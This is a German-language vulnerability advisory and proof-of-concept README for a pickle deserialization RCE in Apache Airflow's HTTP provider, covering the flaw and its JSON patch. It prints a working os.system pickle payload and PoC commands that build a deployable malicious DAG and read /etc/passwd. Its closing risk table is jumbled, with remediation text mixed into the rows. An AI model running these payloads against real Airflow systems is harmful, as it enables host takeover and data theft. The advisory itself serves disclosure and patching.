
Schweregrad: Hoch (CVSS 3.1: 8.8)
Vektor:AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-913 — Unzureichende Kontrolle dynamisch verwalteter Code-Ressourcen
Betroffen:apache-airflow-providers-http >= 5.1.0, < 6.0.0
Behoben in:apache-airflow-providers-http == 6.0.0
Patch: apache/airflow#61662 · commit 97839f7
Der HTTP-Provider von Apache Airflow verwendete das Python-Modul pickle, um HTTP-Trigger-Antworten für verzögerte Tasks zu serialisieren und zu deserialisieren. Der verwundbare Sink in HttpOperator.execute_complete() sah wie folgt aus:
# VULNERABLE (pre-patch) — providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))
Das event-Dictionary wird aus der Airflow-Datenbank gelesen, was bedeutet, dass jede Entität (Principal) mit Schreibzugriff auf die Datenbank eine bösartige Pickle-Nutzlast einschleusen kann. Wenn der Triggerer-Worker den verzögerten Task verarbeitet, deserialisiert er diese Nutzlast blind und führt dabei beliebige Betriebssystembefehle mit den Berechtigungen des Triggerer-Prozesses aus — gleichwertig mit einem DAG-Autor.
pickle.loads() mit nicht vertrauenswürdigen Daten ist grundsätzlich eine unsichere Operation. Das __reduce__-Protokoll von Pickle erlaubt es, beliebige aufrufbare Python-Objekte in den serialisierten Blob einzubetten und während der Deserialisierung ohne Sandboxing aufzurufen.
Der Airflow-Triggerer serialisiert die HTTP-Antwort zum Zeitpunkt des Abschlusses und speichert sie in der Datenbank:
# triggers/http.py (pre-patch)
yield TriggerEvent({
"status": "success",
"response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})
Ein Angreifer mit Datenbankzugriff ersetzt diesen Wert durch einen präparierten Pickle-Blob, z. B.:
class RCEPayload:
def __reduce__(self):
return (os.system, ("id",))
payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()
Der Triggerer ruft dann execute_complete → pickle.loads() → RCE auf.
Der Patch ersetzt Pickle vollständig durch einen sicheren, expliziten JSON-Serialisierer:
# triggers/http.py (post-patch)
yield TriggerEvent({
"status": "success",
"response": HttpResponseSerializer.serialize(response), # JSON dict
})
# HttpResponseSerializer.deserialize() — validates input is a dict, never executes code
if isinstance(data, str):
raise TypeError("Response data must be a dict, got str")
Der neue Deserialisierer rekonstruiert nur ein requests.Response-Objekt aus bekannten Feldern (status_code, headers, content usw.) — beliebige Codeausführung ist nicht möglich.
# Python 3.9+; install a vulnerable version
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"
Reproduziert den verwundbaren pickle.loads()-Aufruf im selben Prozess:
python poc.py
# or with a custom command:
python poc.py --cmd "whoami"
Beispielausgabe:
CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
Unsafe Pickle Deserialization → RCE via HttpOperator
-------------------------------------------------------
[*] Command : id
[*] Pickle payload: gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] Triggering deserialization (simulating execute_complete) ...
uid=1000(user) gid=1000(user) groups=1000(user)
[+] os.system returned: 0 (0 = success)
# Generate a deployable DAG
python poc.py --mode dag --cmd "id"
# Copy to your Airflow DAGs directory
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/
# Trigger from the Airflow UI or CLI
airflow dags trigger cve_2025_69219_poc
Prüfen Sie die Task-Logs auf die Befehlsausgabe.
python poc.py --show-payload --cmd "cat /etc/passwd"
| Faktor | Detail |
|---|---|
| Wer kann ausnutzen |
apache-airflow-providers-http auf 6.0.0 oder höher.deferrable=True) abgeschlossen oder gelöscht wurden, da mit Pickle serialisierte, laufende Tasks nach dem Upgrade eine TypeError auslösen (Breaking Change, im Provider-Changelog dokumentiert).pip install "apache-airflow-providers-http>=6.0.0"
| Datum | Ereignis |
|---|---|
| 2026-03-09 | CVE von der Apache Software Foundation veröffentlicht |
| 2026-03-09 | Fix zusammengeführt (PR #61662, Commit 97839f7) |
| 2026-03-09 | Auf der Mailingliste oss-security offengelegt |
Der PoC in diesem Repository basiert auf der ursprünglichen Arbeit von @ahmetartuc.
Dieser Proof-of-Concept wird ausschließlich zu Bildungs- und Sicherheitsforschungszwecken veröffentlicht. Testen Sie nur Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Die Autoren übernehmen keine Verantwortung für Missbrauch.
| Jeder Benutzer mit direktem Schreibzugriff auf die Airflow-Datenbank |
| Ausführungskontext | Triggerer-Worker-Prozess (gleiche Berechtigungen wie ein DAG-Autor) |
| Wahrscheinlichkeit | Gering — direkter Datenbankzugriff ist in gut konfigurierten Bereitstellungen unüblich |
| Blast-Radius | Vollständige Host-RCE auf dem Triggerer-Knoten: Datenexfiltration, laterale Bewegung, Persistenz |